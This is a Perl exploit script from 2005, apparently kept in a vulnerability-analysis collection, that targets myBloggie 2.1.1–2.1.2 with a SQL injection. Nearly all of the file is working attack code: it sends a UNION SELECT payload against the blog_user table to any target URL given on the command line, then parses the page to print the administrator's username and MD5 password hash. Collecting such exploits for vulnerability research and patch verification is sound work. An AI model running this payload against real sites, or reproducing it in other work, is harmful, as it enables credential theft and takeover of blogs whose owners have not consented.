lilbool/vuln-code-analysis
0
1#!/usr/bin/perl -w
2#
3# SQL Injection Exploit for myBloggie 2.1.1 - 2.1.2
4# This exploit show the username of the administrator of the blog and his password crypted in MD5
5# Related advisories: (Italian) http://www.codebug.org/index.php?subaction=showfull&id=1115310052&archive=&start_from=&ucat=6&
6# (English) http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt
7# Patch: http://mywebland.com/forums/viewtopic.php?t=180
8# Coded by Alberto Trivero and Discovered with CorryL
9
10use LWP::Simple;
11
12print "\n\t=======================================\n";
13print "\t= Exploit for myBloggie 2.1.1 - 2.1.2 =\n";
14print "\t= Alberto Trivero - codebug.org =\n";
15print "\t=======================================\n\n";
16
17if(!$ARGV[0] or !($ARGV[0]=~/http/) or !$ARGV[1] or ($ARGV[1] ne '2.1.1' and $ARGV[1] ne '2.1.2')) {
18 print "Usage:\nperl $0 [full_target_path] [version: 2.1.1 OR 2.1.2]\n\nExample:\nperl $0 http://www.example.com/mybloggie/ 2.1.1\n";
19 exit(0);
20}
21
22$url=q[index.php?month_no=1&year=1&mode=viewdate&date_no=1%20UNION%20SELECT%20null,null,null,null,user,password,null,null,null,null%20FROM%20blog_user/*];
23$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
24print "[+] Connected to: $ARGV[0]\n";
25if($ARGV[1] eq '2.1.1') {
26 $page=~m/<tr><td colspan="3" class="subject">(.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
27 print "[-] Unable to retrieve username\n" if(!$1);
28}
29else {
30 $page=~m/<img src="templates\/aura\/images\/permalink.gif" border="0" title="Permalink"><\/a> (.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
31 print "[-] Unable to retrieve username\n" if(!$1);
32}
33$page=~m/<tr><td colspan="3" class="message">(.*?)<\/td><\/tr>/ && print "[+] MD5 hash of password is: $1\n";
34print "[-] Unable to retrieve hash of password\n" if(!$1);
35
36
37# milw0rm.com [2005-05-31]